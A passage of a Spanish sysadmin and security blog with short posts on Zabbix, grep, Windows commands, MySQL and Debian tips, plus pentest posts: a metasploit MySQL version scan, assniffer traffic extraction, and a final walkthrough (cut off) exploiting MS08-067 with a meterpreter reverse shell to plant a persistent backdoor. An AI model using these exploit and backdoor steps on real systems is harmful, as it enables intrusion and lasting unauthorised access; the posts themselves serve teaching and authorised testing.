Zabbix, control de puntos de montaje

Vamos a ver cómo poder configurar en zabbix una alerta (para sistemas GNU/Linux) que compruebe y monitorice que un punto de montaje está activo. En caso contrario, que nos alerte de que no lo está.
Puesto que desde zabbix no hay un item que monitorice si un punto de montaje está o no activo, podemos simularlo. Aquí ya es trabajo de bash y la forma de hacerlo, la que cada uno prefiera. Lo vamos a realizar de forma simple, así que comencemos con un pequeño script que simule lo que nos interesa.
shell> mount |grep /var|wc -l
0
shell> mount |grep /home|wc -l
1
Como podemos observar, con un simple mount y un wc, ya sabemos si una partición está o no montada. Si devuelve 0 la partición no estará montada y si devuelve 1, ésta sí estará montada. Por lo tanto, las variaciones que zabbix tendrá que tener en cuenta son únicamente los cambios de 0 -> 1 y 1 -> 0.
Como no tenemos un item que lo realice, vamos a agregar el item al fichero de configuración de zabbix, así que al final de todo del fichero de configuración simplemente agregamos un UserParameter.
#UserParameter=,
UserParameter=system.mount.home, mount |grep /home|wc -l
Tras agregarlo, reiniciamos el servicio.
shell> service zabbix-agentd restart
Ahora lo único que falta el crear el nuevo item para el equipo o plantilla, que se encargue de monitorizarlo y el trigger correspondiente.
Vamos por lo tanto a crear un nuevo item asociado a la plantilla Linux (o al equipo que deseemos) con los siguientes datos:
Description: Mount /home
Type: Zabbix agent
Key: system.mount.home
Type of information: Numeric
Data type: Decimal
Update interval (in sec): 1800
Show value: Service state
Applications: Filesystem
Tras ello, comenzará a monitorizarse si la partición está montada o no. Puesto que lo hemos definido como en "Service state", si el valor es 0, significará que no está montada y si es 1, que sí.
Ahora sólo queda crear un pequeño trigger qué salte si el valor de la key es cero. Para ello, simplemente creamos un trigger similar al que sigue,
Name: Partición /home no montada
Expression: {Template_Linux:system.mount.home.last(10)}=0
Severity: Average
Comments: La partición /home no está montada.
Y cuando un equipo que tenga la plantilla Template_Linux no tenga la partición /home montada, saltará el trigger y por lo tanto lo podremos revisar para ver qué pasó.
Esta forma de monitorizar la partición no es 100% efectiva, ya que habría que crear muchas entradas en el fichero de configuración del agente (una para cada partición) así que veremos en otra entrada cómo poder monitorizar varias particiones con una simple entrada, es decir, pasándole parámetros.
Leer más

grep, only show names to match

Hoy os voy a dejar aquí constancia de un pequeño truco de grep que sirve para facilitar la vida enormemente si tienes que hacer algún script o tienes que sacar un listado de ficheros. El caso es, cómo saber en qué ficheros de un directorio hay la ocurrencia de una palabra. Pues bien, para eso empleamos grep con las opciones -r (para que sea recursivo) y -i (para que no se fije en las mayúsculas/minúsculas). En un ejemplo práctico veremos que queda tal que así,
shell> grep -ri eth2 /etc
/etc/network/interfaces:auto eth2
/etc/network/interfaces:iface eth2 inet dhcp
/etc/network/run/ifstate:eth2=eth2
/etc/udev/rules.d/70-persistent-net.rules:SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:e0:4c:66:98:20", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth2"
En mi caso, eth2, la palabra buscada está en esos ficheros y en esas líneas. Sin embargo si esto es con una ocurrencia que está en muchas líneas y realmente sólo nos interesa saber los ficheros, pero no las líneas, tener que filtrar esta salida con sed o con awk, podría ser más complejo. Para ello, podemos usar la opción -l, que sumadas a las ya anteriormente comentadas nos da esta salida más limpia.
shell> grep -ril eth2 /etc
/etc/network/interfaces
/etc/network/run/ifstate
/etc/udev/rules.d/70-persistent-net.rules
Leer más

Contraseña segura en Windows

Si en el post anterior vimos cómo poder crear usuarios desde el símbolo de sistema en Windows, ahora vamos a ver cómo poder generar una contraseña segura para dicho usuario. Para hacerlo también emplearemos el comando net,
cmd> net user Javier /random
La contraseña para Javier es: N2Munnv5

Se ha completado el comando correctamente.
Leer más

Crear usuarios en Windows (cmd)

Windows cada día trae más sorpresas que hacen pensar que es una perfecta copia de GNU/Linux en muchos sentidos, pero con un escritorio mucho más depurado e integrado. Hoy vamos a ver cómo poder crear usuarios desde línea de comandos (sí, desde Windows también existe el adduser ;-)
Para vamos allá entonces. Para comenzar, abrimos el símbolo de sistema (cmd) y ahí sólo hay que hacer uso del comando net,
cmd> net user USER PASSWD /add
Con ésto crearemos un nuevo usuario en el sistema de nombre USER y con la contraseña PASSWD. Este nuevo usuarios no tiene permisos de administrador del equipo, en caso de que deseemos dárselos, simplemente,
cmd> net localgroup Administradores USUARIO /add
Este comandos son muy útiles a la hora de trabajar con metasploit o puppet (for windows).
Leer más

Ref. SQL Injection

Roberto Salgado [@LightOS] publicó en websec.ca una completa guía de SQL Injection. Hace referencia a prácticamente todos los motores de bases de datos comúnmente empleados (MySQL, MSSQL y Oracle) y explica desde las inyecciones SQL más comunes hasta la explotación avanzada de los motores de bases de datos.
Es una guía que se está actualizando diariamente, por lo que es aconsejable consultarla habitualmente.
Os dejo los enlaces a la parte referente a MySQL:
Nota: También está disponible la guía en GoogleDocs.
Leer más

Liberar memoria en Google Chrome

Google Chrome es un gran navegador y desde que llegó, especialmente a sistemas GNU/Linux supuso un gran avance. Hizo que otros navegadores como Firefox quedasen un poco más en segundo plano y en equipos Windows, un duro rival para Internet Explorer. Sin dudarlo, todo un avance, pero aún así, hay que reconocer que tiene algunos fallos de consumo de memoria. Si bien Firefox tardaba en iniciarse y consumía mucha RAM desde el primer momento, con Chrome ésto sucede poco a poco. Haciendo un uso normal del navegador, después de dos días sin cerrarlo, la cantidad de RAM que puede consumir es sorprendente. La solución típica es cerrar y volver a abrir, pero claro, eso implica tener que volver a meter todas las contraseñas en las páginas que lo requieran.
Entonces, ¿cómo hago para liberar la RAM consumida, sin cerrarlo?
Administrador de tareas antes
Administrador de tareas después

Pues bien, Chrome tiene un pequeño truco escondido, que todavía no tengo muy claro el motivo de por qué no lo sacan a la luz de todo el mundo y no es más que un pequeño botón de "liberar memoria". Para habilitarlo, simplemente hay que arrancar Google Chrome con la opción --purge-memory-button y así aparecerá un nuevo botón en el administrador de tareas que se llama "Depurar memoria" y que justamente liberará esa RAM tan preciada para los equipos.

En GNU/Linux para probar dicha nueva opción se puede hacer lanzándolo desde línea de comandos, mientras que en Windows se puede hacer también así, o bien modificando el lanzador de la aplicación.
Leer más

metasploit, MySQL version

metasploit, del que ya hablamos aquí muchas veces atrás sirve para realizar numerosas consultas a bases de datos tipo MySQL, consultas simples que permiten obtener más información sobre el equipo a auditar. Aunque hablaremos poco a poco de muchos de los módulos auxiliares que metasploit tiene para MySQL, hoy vamos a comenzar por uno muy simple, que permite saber la versión de MySQL que se está ejecutando. Vamos a ver por lo tanto cómo trabajar con él. Primero vamos a buscar los módulos que hay disponibles, para saber cuál nos conviene emplear.
msf> search type:auxiliary mysql

Matching Modules
================

Name                                      Description
----                                      -----------
auxiliary/admin/mysql/mysql_enum          MySQL Enumeration Module
auxiliary/admin/mysql/mysql_sql           MySQL SQL Generic Query
auxiliary/admin/tikiwiki/tikidblib        TikiWiki information disclosure
auxiliary/analyze/jtr_mysql_fast          John the Ripper MySQL Password
auxiliary/scanner/mysql/mysql_hashdump    MYSQL Password Hashdump
auxiliary/scanner/mysql/mysql_login       MySQL Login Utility
auxiliary/scanner/mysql/mysql_schemadump  MYSQL Schema Dump
auxiliary/scanner/mysql/mysql_version     MySQL Server Version Enumeration
Una vez que ya sabemos qué módulo emplear, simplemente lo cargamos y configuramos para usar.
msf> use auxiliary/scanner/mysql/mysql_version
msf auxiliary(mysql_version)> set RHOSTS 192.168.1.54
RHOSTS => 192.168.1.54
msf auxiliary(mysql_version)> set THREADS 5
msf auxiliary(mysql_version)> show options

Module options (auxiliary/scanner/mysql/mysql_version):

Name    Setting        Required  Description
----    -------        --------  -----------
RHOSTS  192.168.1.54 yes      The target address range or CIDR identifier
RPORT   3306           yes      The target port
THREADS 5              yes      The number of concurrent threads
Como se puede ver, configuramos el host que ejecuta la base de datos y el número de threads a emplear para la consulta. Una vez todo configurado, ejecutamos el módulo.
msf auxiliary(mysql_version)> run
[*] 192.168.1.54:3306 is running MySQL 5.5.23-55-log (protocol 10)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Al nada de lanzarlo, obtenemos el resultado, con la versión de MySQL que se está ejecutando. Como en este caso tenemos acceso al servidor, comprobamos que el resultado obtenido por metasploit coincide con el de MySQL.
mysql> select @@version;
+---------------+
| @@version     |
+---------------+
| 5.5.23-55-log |
+---------------+
1 row in set (0.00 sec)
Leer más

"Barra de progreso" en la ejecución de dd

Muchas veces cuando estamos ejecutando un proceso con el comando dd, una de las cosas que más echamos en falta, o yo por lo menos lo hago, es saber en qué punto está y cuanto le falta. Esto típicamente se conoce como una barra de progreso. Pues bien, os voy a enseñar un truco que permitirá saber el progreso de la ejecución de dd, aunque no en forma de barra, pero sí lo podría simular. Para saberlo, haremos uso del comando kill. Sí, kill se encarga de mandar señales y no sólo de matar procesos, aunque efectivamente algunas de las señales también matan los procesos.
Pues bien, vamos a ver a continuación cómo lograr saber el estado del comando durante el tiempo. Para ello partimos de una ejecución de dd, tal como esta, por ejemplo.
shell> dd if=/dev/zero of=file.img bs=1024 count=1048576
Con ello crearemos un fichero de 1,1Gb vacío. Mientras se está ejecutando en otra consola averiguamos el pid del proceso, ya que tenemos que saber a quién le hay que mandar la señal.
shell> ps aux |grep dd
javier   17829 ...   dd if=/dev/zero of=file.dd bs=1024 count=1048576
javier   17831 ...   grep --color=auto dd
Aquí observamos que el pid del proceso dd es 17829, pues ahora le mandamos una señal de tipo USR1 para que nos informe del estado del proceso.
shell> kill -USR1 17829
Y cada vez que ejecutemos el kill con dicha seña, lo que nos aparecerá será la información de esta, similar a ésta,
739705+0 records in
739705+0 records out
757457920 bytes (757 MB) copied, 11,3332 s, 66,8 MB/s
Leer más

Habilitar ipv6 en Windows XP

Aunque es raro, hay veces que por aquí también hablamos de Windows. En este caso, vamos a adaptar nuestra plataforma de Windows a la versión 6 de IP, que está cada vez más próxima. Por defecto, Windows XP no tiene soporte para IPv6, pero tras aplicarle el Service Pack 3 sí se puede habilitar, así que vámos a ver cómo hacerlo.
  1. Comprobamos si tenemos soporte para IPv6
    C:\> ping6 -n 5 ::1
    No se puede conectar con el controlador IPv6, código de error 2.
    
  2. En caso de que no tengamos, instalamos IPv6
    C:\> ipv6 install
    Instalando...
    Finalizado con éxito.
    
  3. Volvemos a comprobar que efectivamente hay soporte para IPv6
    C:\> ping6 -n 5 ::1
    
    Haciendo ping ::1
    de ::1 con 32 bytes de datos:
    
    Respuesta desde ::1: bytes=32 tiempo<1m
    Respuesta desde ::1: bytes=32 tiempo<1m
    Respuesta desde ::1: bytes=32 tiempo<1m
    Respuesta desde ::1: bytes=32 tiempo<1m
    Respuesta desde ::1: bytes=32 tiempo<1m
    
    Estadísticas de ping para ::1:
        Paquetes: enviados = 5, recibidos = 5, perdidos = 0 (0% perdidos),
    Tiempos aproximados de ida y vuelta en milisegundos:
        Mínimo = 0ms, Máximo = 0ms, Media = 0ms
    
Leer más

Instalar clave GPG para archive.debian.org

Si todavía tenéis algún equipo con debian lenny (o anterior) existe un repositorio oficial que permite la instalación de paquetes para vuestras máquinas. Dicho repositorio es archive.debian.org que contiene una copia de todos los paquetes de todas las distros de debian, precisamente para ayudar a poder seguir instalando paquetes en equipos muy desactualizados.
Pues bien, si estáis en este caso y por ejemplo lo queréis emplear para Debian Lenny, es muy simple de hacer. Primero hay que editar el fichero sources.list para cambiar el repositorio y dejarlo tal como sigue,
deb http://archive.debian.org/debian/ lenny main contrib non-free
Una vez esté el fichero ya editado, actualizamos la lista de paquetes,
shell> apt-get update
Des:1 http://archive.debian.org lenny Release.gpg [1034B]
Obj http://archive.debian.org lenny/main Translation-es
Ign http://archive.debian.org lenny/contrib Translation-es
Ign http://archive.debian.org lenny/non-free Translation-es
Obj http://archive.debian.org lenny Release
Des:2 http://archive.debian.org lenny Release [99,6kB]
Ign http://archive.debian.org lenny Release
Ign http://archive.debian.org lenny/main Packages/DiffIndex
Ign http://archive.debian.org lenny/contrib Packages/DiffIndex
Ign http://archive.debian.org lenny/non-free Packages/DiffIndex
Obj http://archive.debian.org lenny/main Packages
Obj http://archive.debian.org lenny/contrib Packages
Obj http://archive.debian.org lenny/non-free Packages
Descargados 101kB en 1s (89,7kB/s)
Leyendo lista de paquetes... Hecho
W: GPG error: http://archive.debian.org lenny Release: Las siguientes firmas fueron inválidas: KEYEXPIRED 1337087218
Las firmas siguientes no se pudieron verificar porque su llave pública no está disponible: NO_PUBKEY AED4B06F473041FA
W: Tal vez quiera ejecutar 'apt-get update' para corregir estos problemas
Tras ello vemos que la clave GPG del nuevo repositorio no está instalada, así que simplemente la instalamos como una clave de cualquier otro repositorio debian,
shell> gpg --keyserver subkeys.pgp.net --recv-keys AED4B06F473041FA
gpg: solicitando clave 473041FA de hkp servidor subkeys.pgp.net
gpg: /root/.gnupg/trustdb.gpg: se ha creado base de datos de confianza
gpg: clave 473041FA: clave pública "Debian Archive Automatic Signing Key (6.0/squeeze) " importada
gpg: no se encuentran claves absolutamente fiables
gpg: Cantidad total procesada: 1
gpg:               importadas: 1  (RSA: 1)
shell> gpg --export --armor AED4B06F473041FA| apt-key add -
OK
Y listo!
shell> apt-get update
Des:1 http://archive.debian.org lenny Release.gpg [1034B]
Obj http://archive.debian.org lenny/main Translation-es
Ign http://archive.debian.org lenny/contrib Translation-es
Ign http://archive.debian.org lenny/non-free Translation-es
Obj http://archive.debian.org lenny Release
Ign http://archive.debian.org lenny/main Packages/DiffIndex
Ign http://archive.debian.org lenny/contrib Packages/DiffIndex
Ign http://archive.debian.org lenny/non-free Packages/DiffIndex
Obj http://archive.debian.org lenny/main Packages
Obj http://archive.debian.org lenny/contrib Packages
Obj http://archive.debian.org lenny/non-free Packages
Descargados 1034B en 0s (2036B/s)
Leyendo lista de paquetes... Hecho
Leer más

Offensive Security Lab Exercises

Hoy navegando por los ficheros y documentación de hackbbs.org he descubierto y libro muy interesante que puede que ayude a algunas personas. El título del libro es Offensive Security Lab Exercises, el cual es una especie de libro resumen-tutorial de todas las herramientas que incluye la distribución Backtrack. Son 329 páginas en la lengua de shakespeare, fáciles de comprender y sobre todo en un formato claro e ilustrativo. Sin duda, si os interesan estos temas, un libro que no puede faltar en vuestra librería digital.
Lo puedes obtener ziddu.com.





El índice del libro es el que sigue:
  1. BackTrack Basics
  2. Information Gathering Techniques
  3. Open Services Information Gathering
  4. Port Scanning
  5. ARP Spoofing
  6. Buffer overflow Exploitation (Win32)
  7. Working With Exploits
  8. Transferring Files
  9. Exploit frameworks
  10. Client Side Attacks
  11. Port Fun
  12. Password Attacks
  13. Web Application Attack vectors
  14. Trojan Horses
  15. Windows Oddities
  16. Rootkits
Leer más

assniffer, extracción simple de contenidos

Navegando por la red me encontré con un proyecto Open Source muy interesante y a la vez divertido. Es assniffer, un pequeño sniffer, como su nombre indica que es capaz de extraer los datos de tipo MIME que están presentes un una captura de red. Hablando claro, si tenemos nuestro fichero .pcap, por ejemplo obtenido con tcpdump, pues es capaz de extraer todos los datos MIME que hay en él de forma automática.
Para comenzar a trabajar con él, primero tenemos que tener una captura de datos, así que vamos a capturar datos primero
shell> tcpdump -i eth0 -w /tmp/captura.pcap
Tras recoger todos los datos que nos interese, ahora hay que emplear assniffer, así que vamos a ver cómo hacerlo.
  1. Descargamos el software
    La versión que está actualmente disponible es la 0.2, así que lo descargamos,
    shell> wget http://www.cockos.com/assniffer/assniffer02.zip
    
  2. Lo arrancamos
  3. Lo que acabamos de descargar es un fichero zip, así que lo descomprimimos y ya está listo para poder ejecutarse. Aquí diferenciamos 2 plataformas, windows y linux.
    1. Si usas Windows
      Al descomprimirlo ya existe un .exe perfectamente compilado para ejecutar y que funcione, así que simplemente,
      cmd> assniffer.exe c:\capturas -r c:\captura.pcap
      
    2. Si usas GNU/Linux
      Aquí la cosa se complica un poco más, ya que antes de poder usarlo hay que compilarlo, aunque eso no es problema. Como software necesario para la compilación simplemente g++. Procedemos tal que así.
      shell> cd source/assniffer
      shell> make
      
      Y una vez compilado, simplemente hay que ejecutarlo,
      shell> ./assniffer /tmp/capturas/ -r /tmp/captura.pcap
      
  4. Comprobamos los datos obtenidos
    Tras finalizar la ejecución, los datos que se han obtenido son todos los de tipo MIME que había en el fichero .pcap, es decir, ficheros de texto, pdf, imágenes, etc. pero ahora están ya en un formato mucho más simple de comprender. Si echamos un vistazo a lo que hay, veremos que hay una carpeta para cada uno de los dominios y dentro de esas carpetas, los ficheros que corresponden al dominio.
    shell> ls
    _ad.doubleclick.net           _lavozdegalicia.es
    _ad-emea.doubleclick.net      _media.lavozdegalicia.es
    _ad.es.doubleclick.net        _pagead2.googlesyndication.com
    _a.prisacom.com               _partnerfeed.itsfogo.com
    _as.com                       _pg.solution.weborama.fr
    _atemda.com                   _ping.chartbeat.net
    _blstj.msn.com                _profile.ak.fbcdn.net
    _b.scorecardresearch.com      _promo.planeo.com
    _bs.serving-sys.com           _p.twitter.com
    _cdn.adnxs.com                _publicidadinternet.lavozdegalicia.es
    _cdn.api.twitter.com          _pxlctl.elpais.com
    _c.es.msn.com                 _realtime.services.disqus.com
    _compras.lavozdegalicia.es    _r.twimg.com
    _ds.serving-sys.com           _s0.2mdn.net
    _elstatic.weborama.fr         _s1.as.com
    _estj.msn.com                 _s2.as.com
    _googleads.g.doubleclick.net  _s4.as.com
    _google-analytics.com         _s5.as.com
    _google.com                   _s.atemda.com
    _google.es                    _secure-uk.imrworldwide.com
    _ib.adnxs.com                 _shopall.es
    _imagenen1.247realmedia.com   _s.promo.planeo.com
    _imgs.codigobarras.net        _udc.msn.com
    shell> cd _media.lavozdegalicia.es/
    shell> ls
    default
    _pintochinto_files_2012_07_dependiente-280x110.jpg
    _default_2012_07_16_00121342428998068232193_Foto_.jpg&w=135px.jpg
    _default_2012_07_16_00121342439900198640689_Foto_E_120715-200305.jpg
    _default_2012_07_16_00121342457907304198516_Foto_.jpg
    _default_2012_07_16_00121342463479823536679_Foto_V17C5F2.jpg
    _default_2012_07_16_00121342466088637446783_Foto_.jpg
    _default_2012_07_16_00121342466144477922177_Foto_.jpg
    _default_2012_07_16_00121342466145337228769_Foto_.jpg
    _default_2012_07_16_00121342467357079958323_Foto_.jpg
    _default_2012_07_16_00121342467889792660983_Foto_O15L1187.jpg
    _default_2012_07_16_00121342467965572411773_Foto_.jpg
    _default_2012_07_16_00121342468019267960366_Foto_.jpg
    _default_2012_07_16_00121342468839278112970_Foto_.jpg
    ...
    
  5. Opciones especiales
    La forma descrita hasta ahora es la más simple de trabajar, pero assniffer también permite trabajar directamente con tarjetas de red en modo promiscuo, es decir, capturando en tiempo real los paquetes (opción -d device) y también permite únicamente extraer los fichero de un tipo específico, texto, vídeo, imágenes, etc. (opción -mimetype MIMETYPE)
Nota: En caso de equipos que ejecuten Debian/Ubuntu la compilación puede que os de el siguiente fallo,
shell> make
g++ -O2 -s   -c -o sniff.o sniff.cpp
sniff.cpp: In function 'int main(int, char**)':
g++ -O2 -s   -c -o tcp.o tcp.cpp
g++ -O2 -s   -c -o http.o http.cpp
http.cpp:41: warning: deprecated conversion from string constant to 'char*'
http.cpp: In member function 'void HTTP_context::doWrite(void*, int, unsigned int)':
http.cpp:460: error: 'MAX_PATH' was not declared in this scope
http.cpp:461: error: 'fn' was not declared in this scope
http.cpp:562: error: 'isprint' was not declared in this scope
make: *** [http.o] Error 1
La solución es aplicar el siguiente parche al fichero http.cpp,
--- source/assniffer/http.cpp               2006-10-29 00:38:26.000000000
+++ debian/source/assniffer/http.cpp        2008-08-26 10:19:02.000000000
@@ -22,7 +22,7 @@
 #include 
 #include 
 #include "platform.h"
-
+#include 
 #include "pcap.h"
 #include "http.h"

@@ -32,6 +32,8 @@
     #include 
 #endif

+#define MAX_PATH 256
+
 // configurable items of http.cpp
 int g_config_usemime=2; // 1=append, 2=replace extension
 int g_config_debugfn=0;
Tras aplicarlo, compilar nuevamente y ya todo debería estar correcto.
Leer más

Las 4 reglas del sysadmin

Ser sysadmin en una profesión muy entetenida y divertida. Tiene sus momentos buenos y también los malos con estrés, agobios, y malos rollos, pero en general, está bien.
Aquí os dejo unas 3 reglas básicas que debería de tener en cuenta todo buen sysadmin.
  1. Backup!
    Esta es la primera y más importante regla. No sólo para sysadmin's sino para todos aquellos buenos informáticos (y en general). Hacer backup! Es importante tener una copia de todo y cuantas más copias, mejor. Perder un archivo, una configuración o un dato puede suponer mucho más trabajo que todo el generado por hacer los backups.
    Obviamente, la relación de backup - trabajo - precio debe estar siempre estrictamente relacionada.
  2. Línea de comandos!
    Como buen sysadmin, domina la línea de comandos ya sea en Windows, pero sobre todo el GNU/Linux. La línea de comandos tendrá que ser considerada casi la biblia del sysadmin.
    Domínala y tendrás el poder!
  3. Automatiza!
    Sí, efectivamente, hablamos de ser vagos. Todo lo que puedas automatizar, hazlo. No importa la cantidad de equipos que tengas, 2, 5 o 200, automatiza todas aquellas tareas que puedas y que sean los sistemas los que trabajen por ti.
    Ten siempre presente lo siguiente: ssh es la herramienta, pero no la solución.
    puppet, herramienta y solución.
  4. Monitoriza!
    Un buen sysadmin debería la mayor parte del tiempo estar monitorizando los equipos y no corrigiendo fallos. Eso es lo ideal.
    Y para monitorizar, qué mejor que zabbix para hacerlo ;-)
Leer más

Espacio total de disco

A quién no se le dio el caso de tener que averiguar el tamaño del disco que tiene, o de tener que saber el espacio libre y ocupado total que tiene. Si únicamente manejas una partición es muy simple, ya que las relaciones de espacio están directamente en la salida. Por poner un ejemplo más práctico,
shell> df -h
S.ficheros            Size  Used Avail Use% Montado en
/dev/sda3              28G  8,4G   18G  33% /
Pues bien, aquí la capacidad total de nuestro disco es de 28Gb y tenemos usados 8,4 Gb. Como se observa, muy fácil. El problema está para averiguar el tamaño total de una salida similar a esta,
shell> df -h
S.ficheros            Size  Used Avail Use% Montado en
/dev/sda1             1,9G  297M  1,5G  17% /
tmpfs                 4,9G     0  4,9G   0% /lib/init/rw
udev                  4,4G  184K  4,4G   1% /dev
tmpfs                 4,9G     0  4,9G   0% /dev/shm
/dev/mapper/vg0-home  2,0G   68M  1,9G   4% /home
/dev/mapper/vg0-tmp  1008M   34M  924M   4% /tmp
/dev/mapper/vg0-usr   2,0G  634M  1,3G  34% /usr
/dev/mapper/vg0-var   2,0G  383M  1,5G  20% /var
En este caso, si te preguntan cuál es el espacio total o el ocupado, la cosa se pone más difícil. Para solucionarlo, el comando df tiene una opción, --total, que permite hacer justamente eso,
shell> df -h --total
S.ficheros            Size  Used Avail Use% Montado en
/dev/sda1             1,9G  297M  1,5G  17% /
tmpfs                 4,9G     0  4,9G   0% /lib/init/rw
udev                  4,4G  184K  4,4G   1% /dev
tmpfs                 4,9G     0  4,9G   0% /dev/shm
/dev/mapper/vg0-home  2,0G   68M  1,9G   4% /home
/dev/mapper/vg0-tmp  1008M   34M  924M   4% /tmp
/dev/mapper/vg0-usr   2,0G  634M  1,3G  34% /usr
/dev/mapper/vg0-var   2,0G  383M  1,5G  20% /var
total                  23G  1,4G   21G   7%
Leer más

start & stop windows services

Hoy tuve la oportunidad de tocar un equipo Windows, y como las últimas veces que lo estoy haciendo, descubro que hay muchas cosas que no conocía y que puedo emplear, especialmente en línea de comandos para simplificar la vida. Dicho de otra forma, que el cmd de Windows, también sirve para algo!
Es caso es que hoy había que reiniciar un servidor de Windows, así que la mejor forma de hacerlo es empleando directamente las herramientas que él te ofrece, en este caso el comando net. Por lo tanto, una vez sepas el nombre del servicio, simplemente,
cmd> net stop [service]
cmd> net start [service]
Esto, lógicamente, se puede emplear en algún programa en batch para vuestras tareas de administración.
Leer más

TimeOut en conexiones a MySQL

En muchas ocasiones se puede dar el caso de que tengamos un servidor de base de datos al que se conectan muchos clientes de todo tipo. Cuando las aplicaciones que se conectan las diseñamos nosotros podemos hacer un uso responsable del acceso a base de datos, es decir, accedemos a la base de datos, realizamos la consulta que queramos y luego CERRAMOS dicha conexión. Esto es lo normal y habitual (excepto que se use un pool de conexiones). Si las aplicaciones no las controlamos nosotros, sino que fueron diseñadas por terceros, entonces el resultado puede ser un montón de conexiones al servidor MySQL en estado Sleep.
Si las aplicaciones están escritas en php, lo podemos solucionar editando el fichero php.ini y deshabilitar las conexiones persistentes a MySQL.
mysql.allow_persistent = Off
mysql.max_persistent = 20
Esto mismo también se puede hacer en el servidor de MySQL para que sea él el que mate las conexiones pasado un cierto tiempo de gracia. En caso de que no haya actividad (estado sleep), se terminan. Para ello, en la sección [ mysqld ] añadimos,
wait_timeout = 60
Este mismo valor lo podemos fijar en caliente para ver sus efectos,
set global wait_timeout=30;
Tras aplicar los cambios, pasaremos de una salida tal que así,
mysql> show processlist;
+-----+------+------------------+-------+---------+-------+-------+------
| Id  | User | Host             | db    | Command | Time  | State | Info
+-----+------+------------------+-------+---------+-------+-------+------
| 149 | app  | 192.168.1.2:5350 | users | Sleep   |  1921 |       | NULL
| 185 | zbx  | 192.168.1.7:5365 | zbx   | Sleep   | 12719 |       | NULL
| 628 | root | localhost        | NULL  |         | Query |     0 | show...
+-----+------+------------------+-------+---------+-------+-------+------
3 rows in set (0.00 sec)
A una mucho más limpia,
mysql> show processlist;
+-----+------+-----------+------+---------+------+-------+-------------
| Id  | User | Host      | db   | Command | Time | State | Info
+-----+------+-----------+------+---------+------+-------+-------------
| 639 | root | localhost | NULL | Query   |    0 | NULL  | show processlist
+-----+------+-----------+------+---------+------+-------+-------------
1 rows in set (0.00 sec)
Leer más

MySQL, importar de csv

Si en el post anterior hablamos de cómo poder exportar datos de MySQL a csv, tan importante es poder sacarlos como luego poder ingresarlos nuevamente en una base de datos. Por lo tanto, ahora vamos a ver justo el paso contrario, cómo poder introducir datos en una base de datos a partir de un fichero csv. Por supuesto, también es muy sencillo e inmediato. Hay que tener en cuenta que todos los campos que se nos pasen en el fichero tienen que existir en la base de datos y viceversa.

mysql> load data local infile "/tmp/users.csv"
    -> into table users fields terminated by ',';
Leer más

Refresco de archivos windows + samba

Muchas veces fijo que os tiene pasado, sobre todo en equipos Windows que tienen datos compartidos por samba que alguien (o vosotros mismos) creáis un fichero en una carpeta y ese no aparece ahí hasta que refrescáis con F5. Esto puede dar una falsa sensación de que algo está fallando y si pasa muy a menudo, puede resultar incluso molesto.
Para evitar tener que estar presionando F5 cada poco tiempo, o esperar que el update de la carpeta se ejecute, podemos modificar la clave del registro de Windows, para que lo haga automáticamente, tal como sigue.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Update\UpdateMode = 0
En caso de que el Windows al estar conectado a una unidad samba os esté avisando cada poco tiempo de que existe un riesgo de seguridad, lo podemos evitar añadiendo al IP del servidor samba a los sitios de confianza. Para ello,
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\Range1]
"*"=dword:00000002
":Range"="DIRECCION_IP"
Leer más

Notificación de actualizaciones en RedHat/CentOS

En sistemas Debian/Ubuntu tenemos software ya especializado en buscar actualizaciones, que podemos hacer que se ejecute diariamente y así tener un informe diario de si hay o no hay actualizaciones pendientes para el sistema. En CentOS/RedHat ésto también es posible y sin necesidad de instalar ningún paquete adicional, sino que el propio gestor de paquetes, yum, trae una opción para hacer tal tarea. Vamos a ver cómo funciona y cómo poder configurarla.
Para empezar, necesitaremos editar el fichero /etc/yum/yum-updatesd.conf y dejarlo tal que así
[main]
# how often to check for new updates (in seconds)
run_interval = 86400
# how often to allow checking on request (in seconds)
updaterefresh = 600

# how to send notifications (valid: dbus, email, syslog)
emit_via = email
email_to = admin@tu_empresa.com
email_from = root@tu_empresa.com
# should we listen via dbus to give out update information/check for
# new updates
dbus_listener = yes

# automatically install updates
do_update = no
# automatically download updates
do_download = no
# automatically download deps of updates
do_download_deps = no
Las opciones importantes, las marcadas en negrita, significan:
  • run_interval
    Es el intervalo de frecuencia de búsqueda de actualizaciones. Por defecto viene establecido a una hora (3600 segundos) y lo vamos a poner diario (86400 segundos).
  • emit_via
    Es la forma de notificación de alertas de upgrades. Pueden ser vía email o vía syslog. Como nos interesa tener notificaciones vía mail, seleccionamos email.
  • email_to
    A quién va destinado el correo.
  • email_from
    De quién va a venir el correo.
Una vez tengamos todo listo, sólo queda reiniciar el servicio. Para ello,
shell> /etc/init.d/yum-updatesd restart
   Deteniendo yum-updatesd:                                   [  OK  ]
   Iniciando yum-updatesd:                                    [  OK  ]
Y el correo que tendrá un contenido similar al siguiente,
Hi,
This is the automatic update system on servidorLinux.dominio.com

There are 8 package updates available. Please run the system updater.

Packages available for update:
    portmap
    bind-libs
    man-pages-es
    libselinux-ruby
    rkhunter
Leer más

Metasploit, permanent backdoor

En un post anterior enseñamos cómo poder aprovechar un bug para acceder a un Windows y tomar el control del mismo. Una vez dentro lo que realmente interesará será poder continuar accediendo a él. A los largo de este post, haremos justamente eso, dejaremos un pequeño backdoor ahí instalado y que permita volver a establecer conexiones con el equipo cuando nos interese.
Primeramente estableceremos conexión aprovechándonos de algún bug que tenga el equipo remoto. Aquí lo detallo muy rápidamente, pues ya lo vimos.
msf> use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi)> show options
msf  exploit(ms08_067_netapi)> set RHOST 192.168.1.42
RHOST => 192.168.1.42
msf  exploit(ms08_067_netapi)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(ms08_067_netapi)> set LHOST 192.168.1.33
LHOST => 192.168.1.33
msf  exploit(ms08_067_netapi)> exploit

[*] Started reverse handler on 192.168.1.33:4444 
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.42
